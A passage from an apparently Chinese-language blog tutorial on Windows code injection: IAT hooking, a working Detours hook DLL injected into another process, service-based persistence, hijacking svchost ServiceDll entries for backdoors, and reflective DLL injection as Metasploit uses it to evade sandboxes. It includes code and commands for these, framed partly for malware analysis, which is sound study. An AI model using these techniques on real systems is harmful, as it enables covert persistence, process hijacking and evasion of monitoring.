CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryW(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; }
.h
#pragma once #include <Windows.h> class CAPIHOOK { public: CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE); ~CAPIHOOK(void); private: static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller); static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod); //防止程序运行期间动态加载模块, 当一个新DLL被加载时调用 static void HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags); //跟踪当前进程加载新的DLL static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); //防止程序运行期间动态调用API函数 对于请求已HOOK的API函数,返回用户自定义的函数地址 static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName); private: //定义成静态的,会自动调用,从而实现自动HOOK static CAPIHOOK sm_LoadLibraryA; static CAPIHOOK sm_LoadLibraryW; static CAPIHOOK sm_LoadLibraryExA; static CAPIHOOK sm_LoadLibraryExW; static CAPIHOOK sm_GetProcAddress; private: static CAPIHOOK* sm_pHeader; //钩子链表 CAPIHOOK* m_pNext; //要钩子的函数 PROC m_pfnOrig; PROC m_pfnHook; //要钩子的函数所在的dll LPSTR m_pszModName; //要钩子的函数名称 LPSTR m_pszFuncName; };
10. Detours - Inline Hook
Detours是一个在x86平台上截获任意Win32函数调用的工具库。中断代码能够在运行时动态加载。Detours使用一个无条件转移指令来替换目 标函数的最初几条指令,将控制流转移到一个用户提供的截获函数。而目标函数中的一些指令被保存在一个被称为“trampoline” (译注:英文意为蹦 床,杂技)的函数中,在这里我以为翻译成目标函数的部分克隆/拷贝比较贴切。这些指令包括目标函数中被替换的代码以及一个从新跳转到目标函数的无条件分 支。而截获函数能够替换目标函数,或者经过执行“trampoline”函数的时候将目标函数做为子程序来调用的办法来扩展功能。
Detours是执行时被插入的。内存中的目标函数的代码不是在硬盘上被修改的,于是能够在一个很好的粒度上使得截获二进制函数的执行变得更容易。例如, 一个应用程序执行时加载的DLL中的函数过程能够被插入一段截获代码(detoured),与此同时,这个DLL还能够被其余应用程序按正常状况执行(译 注:也就是按照不被截获的方式执行,由于DLL二进制文件没有被修改,因此发生截获时不会影响其余进程空间加载这个DLL)。不一样于DLL的从新连接或者 静态重定向,Detours库中使用的这种中断技术确保不会影响到应用程序中的方法或者系统代码对目标函数的定位。
若是其余人为了调试或者在内部使用其余系统检测手段而试图修改二进制代码,Detours将是一个能够广泛使用的开发包。据我所知,Detours是第一 个能够在任意平台上将未修改的目标代码做为一个能够经过“trampoline”调用的子程序来保留的开发包。而之前的系统在逻辑上预先将截获代码放到目 标代码中,而不是将原始的目标代码作为一个普通的子程序来调用。咱们独特的“trampoline”设计对于扩展示有的软件的二进制代码是相当重要的。
出于使用基本的函数截获功能的目的,Detours一样提供了编辑任何DLL导入表的功能,达到向存在的二进制代码中添加任意数据节表的目的,向一个新进 程或者一个已经运行着的进程中注入一个DLL。一旦向一个进程注入了DLL,这个动态库就能够截获任何Win32函数,不论它是在应用程序中或者在系统库中
0x1: 基本原理
1. WIN32进程的内存管理
1. WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间 2. 进程要执行的指令也放在虚存空间中 3. 可使用QueryProtectEx函数把存放指令的页面的权限更改成可读可写可执行,再改写其内容,从而修改正在运行的程序 4. 可使用VirtualAllocEx从一个进程为另外一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改成可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码(此时的代码只是写入了,还未触发执行)
2. 拦截WIN32 API的原理
Detours定义了三个概念
1. Target函数:要拦截的函数,一般为Windows的API 2. Trampoline函数:Target函数的部分复制品。由于Detours将会改写Target函数,因此先把Target函数的前5个字节复制保存好,一方面仍然保存Target函数的过程调用语义,另外一方面便于之后的恢复。 3. Detour 函数:用来替代Target函数的函数。 Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数 的调用引导到本身的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+ 5共10个字节做为Trampoline函数
Detour函数的调用过程
1. 目标函数: 目标函数的函数体(二进制)至少有5个字节以上。按照微软的说明文档Trampoline函数的函数体是拷贝前5个字节加一个无条件跳转指令的话(若是没 有特殊处理不可分割指令的话),那么前5个字节必须是完整指令,也就是不能第5个字节和第6个字节是一条不可分割的指令,不然会形成Trampoline 函数执行错误,一条完整的指令被硬性分割开来,形成程序崩溃。对于第5字节和第6个字节是不可分割指令须要调整拷贝到杂技函数(Trampoline)的 字节个数,这个值能够查看目标函数的汇编代码获得。此函数是目标函数的修改版本,不能在Detour函数中直接调用,须要经过对Trampoline函数 的调用来达到间接调用 2. Trampoline函数: 此函数默认分配了32个字节,函数的内容就是拷贝的目标函数的前5个字节,加上一个JMP Address_of_ Target _ Function+5指令,共10个字节。 此函数仅供您的Detour函数调用,执行完前5个字节的指令后再绝对跳转到目标函数的第6个字节继续执行原功能函数 3. Detour函数: 此函数是用户须要的截获API的一个模拟版本,调用方式,参数个数必须和目标函数相一致。如目标函数是__stdcall,则Detour函数声明也必须 是__stdcall,参数个数和类型也必须相同,不然会形成程序崩溃。此函数在程序调用目标函数的第一条指令的时候就会被调用(无条件跳转过来的)。 若是在此函数中想继续调用目标函数,必须调用Trampoline函数(Trampoline函数在执行完目标函数的前5个字节的指令后会无条件跳转到目标 函数的5个字节后继续执行),不能再直接调用目标函数,不然将进入无穷递归(目标函数跳转到Detour函数,Detour函数又跳转到目标函数的递归, 由于目标函数在内存中的前5个字节已经被修改为绝对跳转)(无条件跳转)。经过对Trampoline函数的调用后能够获取目标函数的执行结果,此特性对分析目标函数很是有用,并且能够将目标函数的输出结果进行修改后再传回给应用程序 基于Detour封装的Hook框架,省去了咱们处理call old function的麻烦
Detour提供了向运行中的应用程序注入Detour函数和在二进制文件基础上注入Detour函数两种方式。咱们接下来主要讨论第二种工做方式。经过 Detours提供的开发包能够在二进制EXE文件中添加一个名称为Detour的节表,以下图所示,主要目的是实现PE加载器加载应用程序的时候会自 动加载您编写的Detours DLL,在Detours Dll中的DLLMain中完成对目标函数的Detour(最终目的仍是Inline Hook)
Detour提供了向运行中的应用程序注入Detour函数和在二进制文件基础上注入Detour函数两种方式。咱们接下来主要讨论第二种工做方式。经过 Detours提供的开发包能够在二进制EXE文件中添加一个名称为Detour的节表,以下图所示,主要目的是实现PE加载器加载应用程序的时候会自 动加载您编写的Detours DLL,在Detours Dll中的DLLMain中完成对目标函数的Detour(最终目的仍是Inline Hook)
0x2: Detours提供的截获API的相关接口
Detours的提供的API 接口能够做为一个共享DLL给外部程序调用,也能够做为一个静态Lib连接到您的程序内部。
Trampoline函数能够动态或者静态的建立,若是目标函数自己是一个连接符号,使用静态的trampoline函数将很是简单。若是目标函数不能在连接时可见,那么可使用动态trampoline函数
0x3: 基于Detours Hook Xenos.exe相关API
detours下载地址
http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx http://pan.baidu.com/s/1eQEijtS
编译Detours工程
打开VS20xx命令行工具,进入src目录,x86命令行和x64命令行编译出来的分别是32bit和64bit的detours lib
使用nmake(linux下是make)命令编译生成静态库
在lib.x86目录下的.lib文件是win32平台下的静态库文件
在include目录下的是Detours工程的头文件
接下来要肯定咱们要拦截目标进程中的哪一个函数api,咱们这里用IDA Pro查看一下Xenos.exe
咱们选择WriteFile这个API做为劫持目标
用于劫持的dll代码,注意:须要保存为.c文件,或者加上extern C,由于detours是使用C语言实现的,表示代码使用C的规则进行编译
// notepad_api_hijack_dll.c : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <Windows.h> // 引入detours头文件 #include "detours.h" //1.引入detours.lib静态库 #pragma comment(lib,"detours64.lib") //2.定义函数指针 static BOOL(WINAPI *oldWriteFile)( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) = WriteFile; //3.定义新的函数替代目标函数,须要与目标函数的原型相同 BOOL WINAPI newWriteFile( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) { int result = 0; result = MessageBoxA(0, "是否容许写该文件", "提示", 1); //printf("result = %d", result); if (result == 1) // 容许调用 { oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //调用旧的函数 } else { // 不容许调用 } return 0; } // 4.拦截 //开始拦截 _declspec(dllexport) void Hook() // _declspec(dllexport)表示外部可调用,须要加上该关键字其它进程才能成功调用该函数 { DetourRestoreAfterWith();//恢复原来状态(重置) DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程(刷新生效) //这里能够连续屡次调用DetourAttach,代表HOOK多个函数 DetourAttach((void **)&oldWriteFile, newWriteFile);//实现函数拦截 DetourTransactionCommit();//拦截生效 } //取消拦截 _declspec(dllexport) void UnHook() { DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程 //这里能够连续屡次调用DetourDetach,代表撤销多个函数HOOK DetourDetach((void **)&oldWriteFile, newWriteFile); //撤销拦截函数 DetourTransactionCommit();//拦截生效 } // 劫持别人的程序:经过DLL注入,并调用Hook函数实现劫持。 // 劫持系统:经过DLL注入系统程序(如winlogon.exe)实现劫持系统函数。 _declspec(dllexport) void main() { Hook(); // 拦截 }
编译获得dll文件,打开dll注入工具,点击add,选择"notepad_api_hijack_dll.dll"
https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe
点击Advanced,在Init routine中填写动态库(dll)中的函数的名称,咱们这里是main,点击注入后,能够在进程加载dll列表中看到已经注入成功
为了触发咱们的Hook动做,咱们随便保存一个文件,能够看到弹框了
这里须要注意,32bit的dll不能注入64bit的进程,若是咱们须要对64bit的进程进行Hook注入,须要编译出一份64bit的detours dll
同时须要注意,MS-Detours只能拦截WIN32 API,对原生C++的API没法拦截
0x4: Detours原理
Detours能够完成对目标进程运行时的api的核心原理就是inline hook
JuMP <CustomHookFunction> RETurn (back to program execution) 1. First he copies his shellcode(hook function) to JMP array(一段新开辟出来的内存空间用于存放hook function shellcode): memcpy(JMP, tempJMP, SIZE); 2. Then he copies the original assembly code bytes from the original address to his temporary storage "oldBytes" so that he can copy it back after his custom function is executed: memcpy(oldBytes, pOrigMBAddress, SIZE); 将原始被Hook函数入口点附近的汇编代码拷贝到一个"跳转缓冲区"中,这段跳转缓冲区是Detours维护的,它负责在被hook函数和hook shellcode之间进行转发 3. Then he copies the address size he previously calculated to JMP array right after the jmp command : memcpy(&JMP[1], &JMPSize, 4); 将shellcode的jmp跳转指令拷贝到"跳转缓冲区"最后 4. Finally his JMP[] array contains the shellcode required to call his function, e.g. hook function完成逻辑后,须要跳转回"跳转缓冲区",在这里要继续执行原始被hook函数的一小段汇编,以完成inline hook memcpy(pOrigMBAddress, JMP, SIZE);
在进行inline hook的时候,要特别注意多核CPU在hook replace过程当中的影响,由于多个线程有可能"同时"调用同一个函数地址,为了解决这个问题,一个好的作法是在inline hook的过程当中,把当前进程的全部线程都挂起。经过CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook后再恢复线程
Relevant Link:
http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html http://blog.csdn.net/zhoujiaxq/article/details/18656951 https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours
11. 以服务形式执行DLL中指定函数/或直接指定EXE做为启动程序
通常来讲,黑客利用漏洞植入Dll入侵时,会先经过rundll32.exe执行dllmain,dllmain里会接收并判断传入的参数(例如-k,-i等),根据不一样的参数执行例如service install,主恶意逻辑执行等
值得注意的是,恶意代码执行附加代码的另外一种方式是将它做为服务安装,服务同时也提供了另外一种在系统上维持持久化驻留的方式。windows操做系统支持多种服务类型,它们以独特的方式执行
SC_HANDLE WINAPI CreateService( _In_ SC_HANDLE hSCManager, _In_ LPCTSTR lpServiceName, _In_opt_ LPCTSTR lpDisplayName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwServiceType, _In_ DWORD dwStartType, _In_ DWORD dwErrorControl, _In_opt_ LPCTSTR lpBinaryPathName, _In_opt_ LPCTSTR lpLoadOrderGroup, _Out_opt_ LPDWORD lpdwTagId, _In_opt_ LPCTSTR lpDependencies, _In_opt_ LPCTSTR lpServiceStartName, _In_opt_ LPCTSTR lpPassword ); dwServiceType 1. SERVICE_ADAPTER(0x00000004) 2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service. 3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 加载代码到内核中执行 4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved. 5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 恶意代码有时也会使用,在一个exe中保存代码。而且做为一个独立的进程运行 6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 恶意代码最常使用的就是这个类型,这种类型将服务对应的代码保存在一个DLL中,而且在一个共享的进程中组合多个不一样的服务 7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account. 8. SERVICE_USER_SHARE_PROCESS(0x00000060) dwStartType 1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup. 2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services. 3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function. 4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED. 5. SERVICE_SYSTEM_START(0x00000001)
关于本地系统上的服务信息被保存在注册表中
1. services.msc,而后打开"remote procedure call" 2. C:\Windows\system32\svchost.exe -k rpcss: 这说明rpcss服务是依靠svchost调用"rpcss"参数来实现的,而参数的内容则是存放在系统注册表中的 3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]项。svchost进程经过读取"rpcss"服务注册表信息,就能启动该服务了 1) 找到类型为"reg_expand_sz"的键"imagepath",其键值为"%SystemRoot%\system32\svchost.exe -k rpcss" 2) 另外在"parameters"子项中有个名为"servicedll"的键,其值为"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服务要使用的动态连接库文件
0x1: SERVICE_WIN32_OWN_PROCESS: 以独立进程形式运行服务
At a minimum a service requires the following items:
1. A Main Entry point (like any application) 2. A Service Entry point 3. A Service Control Handler
SampleServiceMain.cpp
#include <Windows.h>
#include <tchar.h>
// need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM). SERVICE_STATUS g_ServiceStatus = {0}; // need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM. SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv); VOID WINAPI ServiceCtrlHandler (DWORD); DWORD WINAPI ServiceWorkerThread (LPVOID lpParam); #define SERVICE_NAME _T("My Sample Service") int _tmain (int argc, TCHAR *argv[]) { OutputDebugString(_T("My Sample Service: Main: Entry")); SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). if (StartServiceCtrlDispatcher (ServiceTable) == FALSE) { OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error")); return GetLastError (); } OutputDebugString(_T("My Sample Service: Main: Exit")); return 0; } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; OutputDebugString(_T("My Sample Service: ServiceMain: Entry")); //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask. g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error")); goto EXIT; } // Tell the service controller we are starting // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING. ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } /* * Perform tasks neccesary to start the service here */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations")); // Create stop event to wait on later. g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error")); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } goto EXIT; } // Tell the service controller we are started g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } // Start the thread that will perform the main task of the service // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 这个dll服务是以线程的形式运行的 HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL); OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete")); // Wait until our worker thread exits effectively signaling that the service needs to stop WaitForSingleObject (hThread, INFINITE); OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled")); /* * Perform any cleanup tasks */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations")); CloseHandle (g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } EXIT: OutputDebugString(_T("My Sample Service: ServiceMain: Exit")); return; } /* The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM. 咱们在GUI界面上点击启动、中止的action处理须要ServiceCtrlHandler函数回调来处理 */ VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry")); switch (CtrlCode) { /* here have only implemented and supported the SERVICE_CONTROL_STOP request. we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function. */ case SERVICE_CONTROL_STOP : OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request")); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; /* * Perform tasks neccesary to stop the service here */ g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error")); } // This will signal the worker thread to start shutting down SetEvent (g_ServiceStopEvent); break; default: break; } OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit")); } // This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. // Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service. DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry")); // Periodically check if the service has been requested to stop while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { /* * Perform main service function here */ // Simulate some work by sleeping Sleep(3000); } OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit")); return ERROR_SUCCESS; }
这里有几点要重点理解
1. 服务程序通常写成控制台应用程序,main函数为入口函数(若是是dll就是dllMain函数) 2. main函数的参数在CreateService函数中指定(例若有些恶意软件在植入时采起无参数形式,而在注册服务时加入了额外的参数,以此来区分入侵植入和服务自动启动而走不一样的逻辑) 3. 当SCM启动一个服务程序时,SCM等待服务程序调用StartServiceCtrlDispatcher函数,若是服务进程没有及时调用该函数,则会致使启动服务失败,因此咱们要注册成服务的exe或者dll里我么须要本身实现StartServiceCtrlDispatcher的调用逻辑 4. 在分析恶意代码的时候,咱们会遇到这种状况,exe/dll的main逻辑里很简单,只有声明一个ServiceStartTable服务结构体,设置成员变量,而后就是调用StartServiceCtrlDispatcherA启动真正的逻辑函数
Installing the Service
sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe
注册表键值
Uninstalling the Service
sc delete "My Sample Service"
0x2: SERVICE_WIN32_SHARE_PROCESS: 以DLL形式在共享的svchost.exe中运行服务
svchost.exe是一个属于微软Windows操做系统的系统程序,微软官方对它的解释是:Svchost.exe 是从动态连接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是很是重要,并且是不能被结束的
进程文件: svchost or svchost.exe
进程名称: Generic Host Process for Win32 Services 进程类别: 系统进程 位置: C:\windows\system32\svchost.exe 英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated
svchost.exe是一类通用的进程名称。它是和运行动态连接库(DLLs)的Windows系统服务相关的。在机器启动的时候,svchost.exe检查注册表中的服务,运行并载入它们。常常会有多个svchost.exe同时运行的状况,每个都表示该计算机上运行的一类基本服
SERVICE_WIN32_SHARE_PROCESS和独立进程方式本质上没有区别,惟一区别在于imagepath是一个dll路径,同时它也支持传入对应的参数,可是咱们在进程列表里看不到这个dll,而只能看到svchost.exe进程
Relevant Link:
http://baike.baidu.com/item/svchost.exe/552746 https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus http://www.devx.com/cplus/Article/9857/0/page/2
12. 劫持现有Service的启动DLL
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放着svchost启动的组和组内的各个服务,若是要使用svchost启动某个服务,则该服务名就会出如今该目录下
1. 添加一个新的组,在组里添加服务名 2. 在现有组里添加服务名 3. 直接使用现有组里的一个服务名,可是本机没有安装的服务: PortLess BackDoor使用的该方法 4. 修改现有组里的现有服务,把它的ServiceDll指向本身的DLL后门
Relevant Link:
http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html
13. Reflective DLL injection In Memory - 从内存中的dll binary加载/注入dll技术
内存dll注入技术是一种从内存buffer中(msf常使用该技术从远程C&C中下载dll payload)注入dll到本机进程的技术,为了躲避API监控,它经常自带PE Loader代码,即在注入DLL中先调用一个ReflectiveLoader()导出函数,该函数的做用是"模拟PE Loader",即模拟windows dll loader的过程把自身加载连接到目标进程地址空间中,并调用真正的DllMain入口函数
大致上说,这个技术的攻击流程以下
1. 得到CPU执行权限 1) 可能经过CreateRemoteThread() 2) 或者微型注入的shellcode
3) apc dll注入 2. 调用流程到了ReflectiveLoader,若是是dll注入,则该函数必须是dll的一个导出函数 3. 注入的dll或者shellcode可能在目标进程的任意内存位置,ReflectiveLoader作的第一件事是获取当前所在的镜像基地址 1) _ReturnAddress 2) call-pop被用来自定位 4. 经过PEB方式动态获取核心动态连接库和API函数地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader从新申请了一块用于存放DLL的内存地址 6. 将DLL的header和节逐个拷贝到申请的内存地址中 7. 处理导入函数,加载依赖库(使用LoadLibrary),填充IAT 8. 重定位,修复偏移 9. 获取该DLL的真实入口地址,须要注意的是,DLL的入口地址每每都不是DllMain而是修改过的(MSF经常使用该技术躲避sandbox检测) 9. 经过函数指针的方式调用DLL的DllMain函数,使用DLL_PROCESS_DETACH为参数调用DLL入口点,把控制流转到真实的入口地址Entry Point
0x1: ReflectiveLoader.c - 模拟pe loader
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// #pragma intrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } //===============================================================================================// // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, // otherwise the DllMain at the end of this file will be used. // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, // otherwise it is assumed you are calling the ReflectiveLoader via a stub. // This is our position independent reflective DLL loader/injector #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) #else DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) #endif { 